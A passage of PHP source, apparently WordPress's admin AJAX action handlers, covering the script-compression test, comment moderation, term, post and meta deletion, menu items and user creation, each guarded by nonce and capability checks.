ini_get('zlib.output_compression') || 'ob_gzhandler' == ini_get('output_handler') ) { update_site_option('can_compress_scripts', 0); wp_die( 0 ); } if ( isset($_GET['test']) ) { header( 'Expires: Wed, 11 Jan 1984 05:00:00 GMT' ); header( 'Last-Modified: ' . gmdate( 'D, d M Y H:i:s' ) . ' GMT' ); header( 'Cache-Control: no-cache, must-revalidate, max-age=0' ); header( 'Pragma: no-cache' ); header('Content-Type: application/x-javascript; charset=UTF-8'); $force_gzip = ( defined('ENFORCE_GZIP') && ENFORCE_GZIP ); $test_str = '"wpCompressionTest Lorem ipsum dolor sit amet consectetuer mollis sapien urna ut a. Eu nonummy condimentum fringilla tempor pretium platea vel nibh netus Maecenas. Hac molestie amet justo quis pellentesque est ultrices interdum nibh Morbi. Cras mattis pretium Phasellus ante ipsum ipsum ut sociis Suspendisse Lorem. Ante et non molestie. Porta urna Vestibulum egestas id congue nibh eu risus gravida sit. Ac augue auctor Ut et non a elit massa id sodales. Elit eu Nulla at nibh adipiscing mattis lacus mauris at tempus. Netus nibh quis suscipit nec feugiat eget sed lorem et urna. Pellentesque lacus at ut massa consectetuer ligula ut auctor semper Pellentesque. Ut metus massa nibh quam Curabitur molestie nec mauris congue. Volutpat molestie elit justo facilisis neque ac risus Ut nascetur tristique. Vitae sit lorem tellus et quis Phasellus lacus tincidunt nunc Fusce. Pharetra wisi Suspendisse mus sagittis libero lacinia Integer consequat ac Phasellus. Et urna ac cursus tortor aliquam Aliquam amet tellus volutpat Vestibulum. Justo interdum condimentum In augue congue tellus sollicitudin Quisque quis nibh."'; if ( 1 == $_GET['test'] ) { echo $test_str; wp_die(); } elseif ( 2 == $_GET['test'] ) { if ( !isset($_SERVER['HTTP_ACCEPT_ENCODING']) ) wp_die( -1 ); if ( false !== stripos( $_SERVER['HTTP_ACCEPT_ENCODING'], 'deflate') && function_exists('gzdeflate') && ! $force_gzip ) { header('Content-Encoding: deflate'); $out = gzdeflate( $test_str, 1 ); } elseif ( false !== stripos( $_SERVER['HTTP_ACCEPT_ENCODING'], 'gzip') && function_exists('gzencode') ) { header('Content-Encoding: gzip'); $out = gzencode( $test_str, 1 ); } else { wp_die( -1 ); } echo $out; wp_die(); } elseif ( 'no' == $_GET['test'] ) { update_site_option('can_compress_scripts', 0); } elseif ( 'yes' == $_GET['test'] ) { update_site_option('can_compress_scripts', 1); } } wp_die( 0 ); } function wp_ajax_imgedit_preview() { $post_id = intval($_GET['postid']); if ( empty($post_id) || !current_user_can('edit_post', $post_id) ) wp_die( -1 ); check_ajax_referer( "image_editor-$post_id" ); include_once( ABSPATH . 'wp-admin/includes/image-edit.php' ); if ( ! stream_preview_image($post_id) ) wp_die( -1 ); wp_die(); } function wp_ajax_oembed_cache() { global $wp_embed; $return = ( $wp_embed->cache_oembed( $_GET['post'] ) ) ? '1' : '0'; wp_die( $return ); } function wp_ajax_autocomplete_user() { if ( ! is_multisite() || ! current_user_can( 'promote_users' ) || wp_is_large_network( 'users' ) ) wp_die( -1 ); /** This filter is documented in wp-admin/user-new.php */ if ( ! is_super_admin() && ! apply_filters( 'autocomplete_users_for_site_admins', false ) ) wp_die( -1 ); $return = array(); // Check the type of request // Current allowed values are `add` and `search` if ( isset( $_REQUEST['autocomplete_type'] ) && 'search' === $_REQUEST['autocomplete_type'] ) { $type = $_REQUEST['autocomplete_type']; } else { $type = 'add'; } // Check the desired field for value // Current allowed values are `user_email` and `user_login` if ( isset( $_REQUEST['autocomplete_field'] ) && 'user_email' === $_REQUEST['autocomplete_field'] ) { $field = $_REQUEST['autocomplete_field']; } else { $field = 'user_login'; } // Exclude current users of this blog if ( isset( $_REQUEST['site_id'] ) ) { $id = absint( $_REQUEST['site_id'] ); } else { $id = get_current_blog_id(); } $include_blog_users = ( $type == 'search' ? get_users( array( 'blog_id' => $id, 'fields' => 'ID' ) ) : array() ); $exclude_blog_users = ( $type == 'add' ? get_users( array( 'blog_id' => $id, 'fields' => 'ID' ) ) : array() ); $users = get_users( array( 'blog_id' => false, 'search' => '*' . $_REQUEST['term'] . '*', 'include' => $include_blog_users, 'exclude' => $exclude_blog_users, 'search_columns' => array( 'user_login', 'user_nicename', 'user_email' ), ) ); foreach ( $users as $user ) { $return[] = array( /* translators: 1: user_login, 2: user_email */ 'label' => sprintf( __( '%1$s (%2$s)' ), $user->user_login, $user->user_email ), 'value' => $user->$field, ); } wp_die( json_encode( $return ) ); } function wp_ajax_dashboard_widgets() { require_once ABSPATH . 'wp-admin/includes/dashboard.php'; $pagenow = $_GET['pagenow']; if ( $pagenow === 'dashboard-user' || $pagenow === 'dashboard-network' || $pagenow === 'dashboard' ) { set_current_screen( $pagenow ); } switch ( $_GET['widget'] ) { case 'dashboard_primary' : wp_dashboard_primary(); break; } wp_die(); } function wp_ajax_logged_in() { wp_die( 1 ); } /* * Ajax helper. */ /** * Sends back current comment total and new page links if they need to be updated. * * Contrary to normal success AJAX response ("1"), die with time() on success. * * @since 2.7.0 * * @param int $comment_id * @return die */ function _wp_ajax_delete_comment_response( $comment_id, $delta = -1 ) { $total = isset( $_POST['_total'] ) ? (int) $_POST['_total'] : 0; $per_page = isset( $_POST['_per_page'] ) ? (int) $_POST['_per_page'] : 0; $page = isset( $_POST['_page'] ) ? (int) $_POST['_page'] : 0; $url = isset( $_POST['_url'] ) ? esc_url_raw( $_POST['_url'] ) : ''; // JS didn't send us everything we need to know. Just die with success message if ( !$total || !$per_page || !$page || !$url ) wp_die( time() ); $total += $delta; if ( $total < 0 ) $total = 0; // Only do the expensive stuff on a page-break, and about 1 other time per page if ( 0 == $total % $per_page || 1 == mt_rand( 1, $per_page ) ) { $post_id = 0; $status = 'total_comments'; // What type of comment count are we looking for? $parsed = parse_url( $url ); if ( isset( $parsed['query'] ) ) { parse_str( $parsed['query'], $query_vars ); if ( !empty( $query_vars['comment_status'] ) ) $status = $query_vars['comment_status']; if ( !empty( $query_vars['p'] ) ) $post_id = (int) $query_vars['p']; } $comment_count = wp_count_comments($post_id); if ( isset( $comment_count->$status ) ) // We're looking for a known type of comment count $total = $comment_count->$status; // else use the decremented value from above } $time = time(); // The time since the last comment count $x = new WP_Ajax_Response( array( 'what' => 'comment', 'id' => $comment_id, // here for completeness - not used 'supplemental' => array( 'total_items_i18n' => sprintf( _n( '1 item', '%s items', $total ), number_format_i18n( $total ) ), 'total_pages' => ceil( $total / $per_page ), 'total_pages_i18n' => number_format_i18n( ceil( $total / $per_page ) ), 'total' => $total, 'time' => $time ) ) ); $x->send(); } /* * POST-based Ajax handlers. */ function _wp_ajax_add_hierarchical_term() { $action = $_POST['action']; $taxonomy = get_taxonomy(substr($action, 4)); check_ajax_referer( $action, '_ajax_nonce-add-' . $taxonomy->name ); if ( !current_user_can( $taxonomy->cap->edit_terms ) ) wp_die( -1 ); $names = explode(',', $_POST['new'.$taxonomy->name]); $parent = isset($_POST['new'.$taxonomy->name.'_parent']) ? (int) $_POST['new'.$taxonomy->name.'_parent'] : 0; if ( 0 > $parent ) $parent = 0; if ( $taxonomy->name == 'category' ) $post_category = isset($_POST['post_category']) ? (array) $_POST['post_category'] : array(); else $post_category = ( isset($_POST['tax_input']) && isset($_POST['tax_input'][$taxonomy->name]) ) ? (array) $_POST['tax_input'][$taxonomy->name] : array(); $checked_categories = array_map( 'absint', (array) $post_category ); $popular_ids = wp_popular_terms_checklist($taxonomy->name, 0, 10, false); foreach ( $names as $cat_name ) { $cat_name = trim($cat_name); $category_nicename = sanitize_title($cat_name); if ( '' === $category_nicename ) continue; if ( !$cat_id = term_exists( $cat_name, $taxonomy->name, $parent ) ) $cat_id = wp_insert_term( $cat_name, $taxonomy->name, array( 'parent' => $parent ) ); if ( is_wp_error( $cat_id ) ) continue; else if ( is_array( $cat_id ) ) $cat_id = $cat_id['term_id']; $checked_categories[] = $cat_id; if ( $parent ) // Do these all at once in a second continue; ob_start(); wp_terms_checklist( 0, array( 'taxonomy' => $taxonomy->name, 'descendants_and_self' => $cat_id, 'selected_cats' => $checked_categories, 'popular_cats' => $popular_ids )); $data = ob_get_contents(); ob_end_clean(); $add = array( 'what' => $taxonomy->name, 'id' => $cat_id, 'data' => str_replace( array("\n", "\t"), '', $data), 'position' => -1 ); } if ( $parent ) { // Foncy - replace the parent and all its children $parent = get_term( $parent, $taxonomy->name ); $term_id = $parent->term_id; while ( $parent->parent ) { // get the top parent $parent = get_term( $parent->parent, $taxonomy->name ); if ( is_wp_error( $parent ) ) break; $term_id = $parent->term_id; } ob_start(); wp_terms_checklist( 0, array('taxonomy' => $taxonomy->name, 'descendants_and_self' => $term_id, 'selected_cats' => $checked_categories, 'popular_cats' => $popular_ids)); $data = ob_get_contents(); ob_end_clean(); $add = array( 'what' => $taxonomy->name, 'id' => $term_id, 'data' => str_replace( array("\n", "\t"), '', $data), 'position' => -1 ); } ob_start(); wp_dropdown_categories( array( 'taxonomy' => $taxonomy->name, 'hide_empty' => 0, 'name' => 'new'.$taxonomy->name.'_parent', 'orderby' => 'name', 'hierarchical' => 1, 'show_option_none' => '— '.$taxonomy->labels->parent_item.' —' ) ); $sup = ob_get_contents(); ob_end_clean(); $add['supplemental'] = array( 'newcat_parent' => $sup ); $x = new WP_Ajax_Response( $add ); $x->send(); } function wp_ajax_delete_comment() { $id = isset( $_POST['id'] ) ? (int) $_POST['id'] : 0; if ( !$comment = get_comment( $id ) ) wp_die( time() ); if ( ! current_user_can( 'edit_comment', $comment->comment_ID ) ) wp_die( -1 ); check_ajax_referer( "delete-comment_$id" ); $status = wp_get_comment_status( $comment->comment_ID ); $delta = -1; if ( isset($_POST['trash']) && 1 == $_POST['trash'] ) { if ( 'trash' == $status ) wp_die( time() ); $r = wp_trash_comment( $comment->comment_ID ); } elseif ( isset($_POST['untrash']) && 1 == $_POST['untrash'] ) { if ( 'trash' != $status ) wp_die( time() ); $r = wp_untrash_comment( $comment->comment_ID ); if ( ! isset( $_POST['comment_status'] ) || $_POST['comment_status'] != 'trash' ) // undo trash, not in trash $delta = 1; } elseif ( isset($_POST['spam']) && 1 == $_POST['spam'] ) { if ( 'spam' == $status ) wp_die( time() ); $r = wp_spam_comment( $comment->comment_ID ); } elseif ( isset($_POST['unspam']) && 1 == $_POST['unspam'] ) { if ( 'spam' != $status ) wp_die( time() ); $r = wp_unspam_comment( $comment->comment_ID ); if ( ! isset( $_POST['comment_status'] ) || $_POST['comment_status'] != 'spam' ) // undo spam, not in spam $delta = 1; } elseif ( isset($_POST['delete']) && 1 == $_POST['delete'] ) { $r = wp_delete_comment( $comment->comment_ID ); } else { wp_die( -1 ); } if ( $r ) // Decide if we need to send back '1' or a more complicated response including page links and comment counts _wp_ajax_delete_comment_response( $comment->comment_ID, $delta ); wp_die( 0 ); } function wp_ajax_delete_tag() { $tag_id = (int) $_POST['tag_ID']; check_ajax_referer( "delete-tag_$tag_id" ); $taxonomy = !empty($_POST['taxonomy']) ? $_POST['taxonomy'] : 'post_tag'; $tax = get_taxonomy($taxonomy); if ( !current_user_can( $tax->cap->delete_terms ) ) wp_die( -1 ); $tag = get_term( $tag_id, $taxonomy ); if ( !$tag || is_wp_error( $tag ) ) wp_die( 1 ); if ( wp_delete_term($tag_id, $taxonomy)) wp_die( 1 ); else wp_die( 0 ); } function wp_ajax_delete_link() { $id = isset( $_POST['id'] ) ? (int) $_POST['id'] : 0; check_ajax_referer( "delete-bookmark_$id" ); if ( !current_user_can( 'manage_links' ) ) wp_die( -1 ); $link = get_bookmark( $id ); if ( !$link || is_wp_error( $link ) ) wp_die( 1 ); if ( wp_delete_link( $id ) ) wp_die( 1 ); else wp_die( 0 ); } function wp_ajax_delete_meta() { $id = isset( $_POST['id'] ) ? (int) $_POST['id'] : 0; check_ajax_referer( "delete-meta_$id" ); if ( !$meta = get_metadata_by_mid( 'post', $id ) ) wp_die( 1 ); if ( is_protected_meta( $meta->meta_key, 'post' ) || ! current_user_can( 'delete_post_meta', $meta->post_id, $meta->meta_key ) ) wp_die( -1 ); if ( delete_meta( $meta->meta_id ) ) wp_die( 1 ); wp_die( 0 ); } function wp_ajax_delete_post( $action ) { if ( empty( $action ) ) $action = 'delete-post'; $id = isset( $_POST['id'] ) ? (int) $_POST['id'] : 0; check_ajax_referer( "{$action}_$id" ); if ( !current_user_can( 'delete_post', $id ) ) wp_die( -1 ); if ( !get_post( $id ) ) wp_die( 1 ); if ( wp_delete_post( $id ) ) wp_die( 1 ); else wp_die( 0 ); } function wp_ajax_trash_post( $action ) { if ( empty( $action ) ) $action = 'trash-post'; $id = isset( $_POST['id'] ) ? (int) $_POST['id'] : 0; check_ajax_referer( "{$action}_$id" ); if ( !current_user_can( 'delete_post', $id ) ) wp_die( -1 ); if ( !get_post( $id ) ) wp_die( 1 ); if ( 'trash-post' == $action ) $done = wp_trash_post( $id ); else $done = wp_untrash_post( $id ); if ( $done ) wp_die( 1 ); wp_die( 0 ); } function wp_ajax_untrash_post( $action ) { if ( empty( $action ) ) $action = 'untrash-post'; wp_ajax_trash_post( $action ); } function wp_ajax_delete_page( $action ) { if ( empty( $action ) ) $action = 'delete-page'; $id = isset( $_POST['id'] ) ? (int) $_POST['id'] : 0; check_ajax_referer( "{$action}_$id" ); if ( !current_user_can( 'delete_page', $id ) ) wp_die( -1 ); if ( ! get_post( $id ) ) wp_die( 1 ); if ( wp_delete_post( $id ) ) wp_die( 1 ); else wp_die( 0 ); } function wp_ajax_dim_comment() { $id = isset( $_POST['id'] ) ? (int) $_POST['id'] : 0; if ( !$comment = get_comment( $id ) ) { $x = new WP_Ajax_Response( array( 'what' => 'comment', 'id' => new WP_Error('invalid_comment', sprintf(__('Comment %d does not exist'), $id)) ) ); $x->send(); } if ( ! current_user_can( 'edit_comment', $comment->comment_ID ) && ! current_user_can( 'moderate_comments' ) ) wp_die( -1 ); $current = wp_get_comment_status( $comment->comment_ID ); if ( isset( $_POST['new'] ) && $_POST['new'] == $current ) wp_die( time() ); check_ajax_referer( "approve-comment_$id" ); if ( in_array( $current, array( 'unapproved', 'spam' ) ) ) $result = wp_set_comment_status( $comment->comment_ID, 'approve', true ); else $result = wp_set_comment_status( $comment->comment_ID, 'hold', true ); if ( is_wp_error($result) ) { $x = new WP_Ajax_Response( array( 'what' => 'comment', 'id' => $result ) ); $x->send(); } // Decide if we need to send back '1' or a more complicated response including page links and comment counts _wp_ajax_delete_comment_response( $comment->comment_ID ); wp_die( 0 ); } function wp_ajax_add_link_category( $action ) { if ( empty( $action ) ) $action = 'add-link-category'; check_ajax_referer( $action ); if ( !current_user_can( 'manage_categories' ) ) wp_die( -1 ); $names = explode(',', wp_unslash( $_POST['newcat'] ) ); $x = new WP_Ajax_Response(); foreach ( $names as $cat_name ) { $cat_name = trim($cat_name); $slug = sanitize_title($cat_name); if ( '' === $slug ) continue; if ( !$cat_id = term_exists( $cat_name, 'link_category' ) ) $cat_id = wp_insert_term( $cat_name, 'link_category' ); if ( is_wp_error( $cat_id ) ) continue; else if ( is_array( $cat_id ) ) $cat_id = $cat_id['term_id']; $cat_name = esc_html( $cat_name ); $x->add( array( 'what' => 'link-category', 'id' => $cat_id, 'data' => "<li id='link-category-$cat_id'><label for='in-link-category-$cat_id' class='selectit'><input value='" . esc_attr($cat_id) . "' type='checkbox' checked='checked' name='link_category[]' id='in-link-category-$cat_id'/> $cat_name</label></li>", 'position' => -1 ) ); } $x->send(); } function wp_ajax_add_tag() { global $wp_list_table; check_ajax_referer( 'add-tag', '_wpnonce_add-tag' ); $post_type = !empty($_POST['post_type']) ? $_POST['post_type'] : 'post'; $taxonomy = !empty($_POST['taxonomy']) ? $_POST['taxonomy'] : 'post_tag'; $tax = get_taxonomy($taxonomy); if ( !current_user_can( $tax->cap->edit_terms ) ) wp_die( -1 ); $x = new WP_Ajax_Response(); $tag = wp_insert_term($_POST['tag-name'], $taxonomy, $_POST ); if ( !$tag || is_wp_error($tag) || (!$tag = get_term( $tag['term_id'], $taxonomy )) ) { $message = __('An error has occurred. Please reload the page and try again.'); if ( is_wp_error($tag) && $tag->get_error_message() ) $message = $tag->get_error_message(); $x->add( array( 'what' => 'taxonomy', 'data' => new WP_Error('error', $message ) ) ); $x->send(); } $wp_list_table = _get_list_table( 'WP_Terms_List_Table', array( 'screen' => $_POST['screen'] ) ); $level = 0; if ( is_taxonomy_hierarchical($taxonomy) ) { $level = count( get_ancestors( $tag->term_id, $taxonomy ) ); ob_start(); $wp_list_table->single_row( $tag, $level ); $noparents = ob_get_clean(); } ob_start(); $wp_list_table->single_row( $tag ); $parents = ob_get_clean(); $x->add( array( 'what' => 'taxonomy', 'supplemental' => compact('parents', 'noparents') ) ); $x->add( array( 'what' => 'term', 'position' => $level, 'supplemental' => (array) $tag ) ); $x->send(); } function wp_ajax_get_tagcloud() { if ( isset( $_POST['tax'] ) ) { $taxonomy = sanitize_key( $_POST['tax'] ); $tax = get_taxonomy( $taxonomy ); if ( ! $tax ) wp_die( 0 ); if ( ! current_user_can( $tax->cap->assign_terms ) ) wp_die( -1 ); } else { wp_die( 0 ); } $tags = get_terms( $taxonomy, array( 'number' => 45, 'orderby' => 'count', 'order' => 'DESC' ) ); if ( empty( $tags ) ) wp_die( $tax->labels->not_found ); if ( is_wp_error( $tags ) ) wp_die( $tags->get_error_message() ); foreach ( $tags as $key => $tag ) { $tags[ $key ]->link = '#'; $tags[ $key ]->id = $tag->term_id; } // We need raw tag names here, so don't filter the output $return = wp_generate_tag_cloud( $tags, array('filter' => 0) ); if ( empty($return) ) wp_die( 0 ); echo $return; wp_die(); } function wp_ajax_get_comments( $action ) { global $wp_list_table, $post_id; if ( empty( $action ) ) $action = 'get-comments'; check_ajax_referer( $action ); if ( empty( $post_id ) && ! empty( $_REQUEST['p'] ) ) { $id = absint( $_REQUEST['p'] ); if ( ! empty( $id ) ) $post_id = $id; } if ( empty( $post_id ) ) wp_die( -1 ); $wp_list_table = _get_list_table( 'WP_Post_Comments_List_Table', array( 'screen' => 'edit-comments' ) ); if ( ! current_user_can( 'edit_post', $post_id ) ) wp_die( -1 ); $wp_list_table->prepare_items(); if ( !$wp_list_table->has_items() ) wp_die( 1 ); $x = new WP_Ajax_Response(); ob_start(); foreach ( $wp_list_table->items as $comment ) { if ( ! current_user_can( 'edit_comment', $comment->comment_ID ) ) continue; get_comment( $comment ); $wp_list_table->single_row( $comment ); } $comment_list_item = ob_get_contents(); ob_end_clean(); $x->add( array( 'what' => 'comments', 'data' => $comment_list_item ) ); $x->send(); } function wp_ajax_replyto_comment( $action ) { global $wp_list_table, $wpdb; if ( empty( $action ) ) $action = 'replyto-comment'; check_ajax_referer( $action, '_ajax_nonce-replyto-comment' ); $comment_post_ID = (int) $_POST['comment_post_ID']; $post = get_post( $comment_post_ID ); if ( ! $post ) wp_die( -1 ); if ( !current_user_can( 'edit_post', $comment_post_ID ) ) wp_die( -1 ); if ( empty( $post->post_status ) ) wp_die( 1 ); elseif ( in_array($post->post_status, array('draft', 'pending', 'trash') ) ) wp_die( __('ERROR: you are replying to a comment on a draft post.') ); $user = wp_get_current_user(); if ( $user->exists() ) { $user_ID = $user->ID; $comment_author = wp_slash( $user->display_name ); $comment_author_email = wp_slash( $user->user_email ); $comment_author_url = wp_slash( $user->user_url ); $comment_content = trim($_POST['content']); if ( current_user_can( 'unfiltered_html' ) ) { if ( ! isset( $_POST['_wp_unfiltered_html_comment'] ) ) $_POST['_wp_unfiltered_html_comment'] = ''; if ( wp_create_nonce( 'unfiltered-html-comment' ) != $_POST['_wp_unfiltered_html_comment'] ) { kses_remove_filters(); // start with a clean slate kses_init_filters(); // set up the filters remove_filter( 'pre_comment_content', 'wp_filter_post_kses' ); add_filter( 'pre_comment_content', 'wp_filter_kses' ); } } } else { wp_die( __( 'Sorry, you must be logged in to reply to a comment.' ) ); } if ( '' == $comment_content ) wp_die( __( 'ERROR: please type a comment.' ) ); $comment_parent = 0; if ( isset( $_POST['comment_ID'] ) ) $comment_parent = absint( $_POST['comment_ID'] ); $comment_auto_approved = false; $commentdata = compact('comment_post_ID', 'comment_author', 'comment_author_email', 'comment_author_url', 'comment_content', 'comment_type', 'comment_parent', 'user_ID'); // automatically approve parent comment if ( !empty($_POST['approve_parent']) ) { $parent = get_comment( $comment_parent ); if ( $parent && $parent->comment_approved === '0' && $parent->comment_post_ID == $comment_post_ID ) { if ( wp_set_comment_status( $parent->comment_ID, 'approve' ) ) $comment_auto_approved = true; } } $comment_id = wp_new_comment( $commentdata ); $comment = get_comment($comment_id); if ( ! $comment ) wp_die( 1 ); $position = ( isset($_POST['position']) && (int) $_POST['position'] ) ? (int) $_POST['position'] : '-1'; ob_start(); if ( isset( $_REQUEST['mode'] ) && 'dashboard' == $_REQUEST['mode'] ) { require_once( ABSPATH . 'wp-admin/includes/dashboard.php' ); _wp_dashboard_recent_comments_row( $comment ); } else { if ( isset( $_REQUEST['mode'] ) && 'single' == $_REQUEST['mode'] ) { $wp_list_table = _get_list_table('WP_Post_Comments_List_Table', array( 'screen' => 'edit-comments' ) ); } else { $wp_list_table = _get_list_table('WP_Comments_List_Table', array( 'screen' => 'edit-comments' ) ); } $wp_list_table->single_row( $comment ); } $comment_list_item = ob_get_clean(); $response = array( 'what' => 'comment', 'id' => $comment->comment_ID, 'data' => $comment_list_item, 'position' => $position ); if ( $comment_auto_approved ) $response['supplemental'] = array( 'parent_approved' => $parent->comment_ID ); $x = new WP_Ajax_Response(); $x->add( $response ); $x->send(); } function wp_ajax_edit_comment() { global $wp_list_table; check_ajax_referer( 'replyto-comment', '_ajax_nonce-replyto-comment' ); $comment_id = (int) $_POST['comment_ID']; if ( ! current_user_can( 'edit_comment', $comment_id ) ) wp_die( -1 ); if ( '' == $_POST['content'] ) wp_die( __( 'ERROR: please type a comment.' ) ); if ( isset( $_POST['status'] ) ) $_POST['comment_status'] = $_POST['status']; edit_comment(); $position = ( isset($_POST['position']) && (int) $_POST['position']) ? (int) $_POST['position'] : '-1'; $comments_status = isset($_POST['comments_listing']) ? $_POST['comments_listing'] : ''; $checkbox = ( isset($_POST['checkbox']) && true == $_POST['checkbox'] ) ? 1 : 0; $wp_list_table = _get_list_table( $checkbox ? 'WP_Comments_List_Table' : 'WP_Post_Comments_List_Table', array( 'screen' => 'edit-comments' ) ); $comment = get_comment( $comment_id ); if ( empty( $comment->comment_ID ) ) wp_die( -1 ); ob_start(); $wp_list_table->single_row( $comment ); $comment_list_item = ob_get_clean(); $x = new WP_Ajax_Response(); $x->add( array( 'what' => 'edit_comment', 'id' => $comment->comment_ID, 'data' => $comment_list_item, 'position' => $position )); $x->send(); } function wp_ajax_add_menu_item() { check_ajax_referer( 'add-menu_item', 'menu-settings-column-nonce' ); if ( ! current_user_can( 'edit_theme_options' ) ) wp_die( -1 ); require_once ABSPATH . 'wp-admin/includes/nav-menu.php'; // For performance reasons, we omit some object properties from the checklist. // The following is a hacky way to restore them when adding non-custom items. $menu_items_data = array(); foreach ( (array) $_POST['menu-item'] as $menu_item_data ) { if ( ! empty( $menu_item_data['menu-item-type'] ) && 'custom' != $menu_item_data['menu-item-type'] && ! empty( $menu_item_data['menu-item-object-id'] ) ) { switch( $menu_item_data['menu-item-type'] ) { case 'post_type' : $_object = get_post( $menu_item_data['menu-item-object-id'] ); break; case 'taxonomy' : $_object = get_term( $menu_item_data['menu-item-object-id'], $menu_item_data['menu-item-object'] ); break; } $_menu_items = array_map( 'wp_setup_nav_menu_item', array( $_object ) ); $_menu_item = array_shift( $_menu_items ); // Restore the missing menu item properties $menu_item_data['menu-item-description'] = $_menu_item->description; } $menu_items_data[] = $menu_item_data; } $item_ids = wp_save_nav_menu_items( 0, $menu_items_data ); if ( is_wp_error( $item_ids ) ) wp_die( 0 ); $menu_items = array(); foreach ( (array) $item_ids as $menu_item_id ) { $menu_obj = get_post( $menu_item_id ); if ( ! empty( $menu_obj->ID ) ) { $menu_obj = wp_setup_nav_menu_item( $menu_obj ); $menu_obj->label = $menu_obj->title; // don't show "(pending)" in ajax-added items $menu_items[] = $menu_obj; } } /** * Filter the Walker class used when adding nav menu items. * * @since 3.4.0 * * @param string $class The walker class to use. Default 'Walker_Nav_Menu_Edit'. * @param int $menu_id The menu id, derived from $_POST['menu']. */ $walker_class_name = apply_filters( 'wp_edit_nav_menu_walker', 'Walker_Nav_Menu_Edit', $_POST['menu'] ); if ( ! class_exists( $walker_class_name ) ) wp_die( 0 ); if ( ! empty( $menu_items ) ) { $args = array( 'after' => '', 'before' => '', 'link_after' => '', 'link_before' => '', 'walker' => new $walker_class_name, ); echo walk_nav_menu_tree( $menu_items, 0, (object) $args ); } wp_die(); } function wp_ajax_add_meta() { check_ajax_referer( 'add-meta', '_ajax_nonce-add-meta' ); $c = 0; $pid = (int) $_POST['post_id']; $post = get_post( $pid ); if ( isset($_POST['metakeyselect']) || isset($_POST['metakeyinput']) ) { if ( !current_user_can( 'edit_post', $pid ) ) wp_die( -1 ); if ( isset($_POST['metakeyselect']) && '#NONE#' == $_POST['metakeyselect'] && empty($_POST['metakeyinput']) ) wp_die( 1 ); if ( $post->post_status == 'auto-draft' ) { $save_POST = $_POST; // Backup $_POST $_POST = array(); // Make it empty for edit_post() $_POST['action'] = 'draft'; // Warning fix $_POST['post_ID'] = $pid; $_POST['post_type'] = $post->post_type; $_POST['post_status'] = 'draft'; $now = current_time('timestamp', 1); $_POST['post_title'] = sprintf( __( 'Draft created on %1$s at %2$s' ), date( get_option( 'date_format' ), $now ), date( get_option( 'time_format' ), $now ) ); if ( $pid = edit_post() ) { if ( is_wp_error( $pid ) ) { $x = new WP_Ajax_Response( array( 'what' => 'meta', 'data' => $pid ) ); $x->send(); } $_POST = $save_POST; // Now we can restore original $_POST again if ( !$mid = add_meta( $pid ) ) wp_die( __( 'Please provide a custom field value.' ) ); } else { wp_die( 0 ); } } else if ( !$mid = add_meta( $pid ) ) { wp_die( __( 'Please provide a custom field value.' ) ); } $meta = get_metadata_by_mid( 'post', $mid ); $pid = (int) $meta->post_id; $meta = get_object_vars( $meta ); $x = new WP_Ajax_Response( array( 'what' => 'meta', 'id' => $mid, 'data' => _list_meta_row( $meta, $c ), 'position' => 1, 'supplemental' => array('postid' => $pid) ) ); } else { // Update? $mid = (int) key( $_POST['meta'] ); $key = wp_unslash( $_POST['meta'][$mid]['key'] ); $value = wp_unslash( $_POST['meta'][$mid]['value'] ); if ( '' == trim($key) ) wp_die( __( 'Please provide a custom field name.' ) ); if ( '' == trim($value) ) wp_die( __( 'Please provide a custom field value.' ) ); if ( ! $meta = get_metadata_by_mid( 'post', $mid ) ) wp_die( 0 ); // if meta doesn't exist if ( is_protected_meta( $meta->meta_key, 'post' ) || is_protected_meta( $key, 'post' ) || ! current_user_can( 'edit_post_meta', $meta->post_id, $meta->meta_key ) || ! current_user_can( 'edit_post_meta', $meta->post_id, $key ) ) wp_die( -1 ); if ( $meta->meta_value != $value || $meta->meta_key != $key ) { if ( !$u = update_metadata_by_mid( 'post', $mid, $value, $key ) ) wp_die( 0 ); // We know meta exists; we also know it's unchanged (or DB error, in which case there are bigger problems). } $x = new WP_Ajax_Response( array( 'what' => 'meta', 'id' => $mid, 'old_id' => $mid, 'data' => _list_meta_row( array( 'meta_key' => $key, 'meta_value' => $value, 'meta_id' => $mid ), $c ), 'position' => 0, 'supplemental' => array('postid' => $meta->post_id) ) ); } $x->send(); } function wp_ajax_add_user( $action ) { global $wp_list_table; if ( empty( $action ) ) $action = 'add-user'; check_ajax_referer( $action ); if ( ! current_user_can('create_users') ) wp_die( -1 ); if ( ! $user_id = edit_user() ) { wp_die( 0 ); } elseif ( is_wp_error( $user_id ) ) { $x = new WP_Ajax_Response( array( 'what' => 'user', 'id' => $user_id ) ); $x->send(); } $user_object = get_userdata( $user_id ); $wp_list_table = _get_list_table('WP_Users_List_Table'); $role = current( $user_object->roles ); $x = new WP_Ajax_Response( array( 'what' => 'user', 'id' => $user_id, 'data' => $wp_list_table->single_row( $user_object, '', $role ), 'supplemental' => array( 'show-link' => sprintf(__( 'User <a href="#%s">%s</a> added' ), "user-$user_id", $user_object->user_login), 'role' => $role, ) ) ); $x->send(); } function wp_ajax_closed_postboxes() { check_ajax_referer( 'closedpostboxes', 'closedpostboxesnonce' ); $closed = isset( $_POST['closed'] ) ? explode( ',', $_POST['closed']) : array(); $closed = array_filter($closed); $hidden = isset( $_POST['hidden'] ) ? explode( ',', $_POST['hidden']) : array(); $hidden = array_filter($hidden); $page = isset( $_POST['page'] ) ? $_POST['page'] : ''; if ( $page != sanitize_key( $page ) ) wp_die( 0 ); if ( ! $user = wp_get_current_user() ) wp_die( -1 ); if ( is_array($closed) ) update_user_option($user->ID, "closedpostboxes_$page", $closed, true); if ( is_array($hidden) ) { $hidden = array_diff( $hidden, array('submitdiv', 'linksubmitdiv', 'manage-menu', 'create-menu') ); // postboxes that are always shown update_user_option($user->ID, "metaboxhidden_$page", $hidden, true); } wp_die( 1 ); } function wp_ajax_hidden_columns() { check_ajax_referer( 'screen-options-nonce', 'screenoptionnonce' ); $hidden = isset( $_POST['hidden'] ) ? $_POST['hidden'] : ''; $hidden = explode( ',', $_POST['hidden'] ); $page = isset( $_POST['page'] ) ? $_POST['page'] : ''; if ( $page != sanitize_key( $page ) ) wp_die( 0 ); if ( ! $user = wp_get_current_user() ) wp_die( -1 ); if ( is_array($hidden) ) update_user_option($user->ID, "manage{$page}columnshidden", $hidden, true); wp_die( 1 ); } function wp_ajax_update_welcome_panel() { check_ajax_referer( 'welcome-panel-nonce', 'welcomepanelnonce' ); if ( ! current_user_can( 'edit_theme_options' ) ) wp_die( -1 ); update_user_meta( get_current_user_id(), 'show_welcome_panel', empty( $_POST['visible'] ) ? 0 : 1 ); wp_die( 1 ); } function wp_ajax_menu_get_metabox() { if ( ! current_user_can( 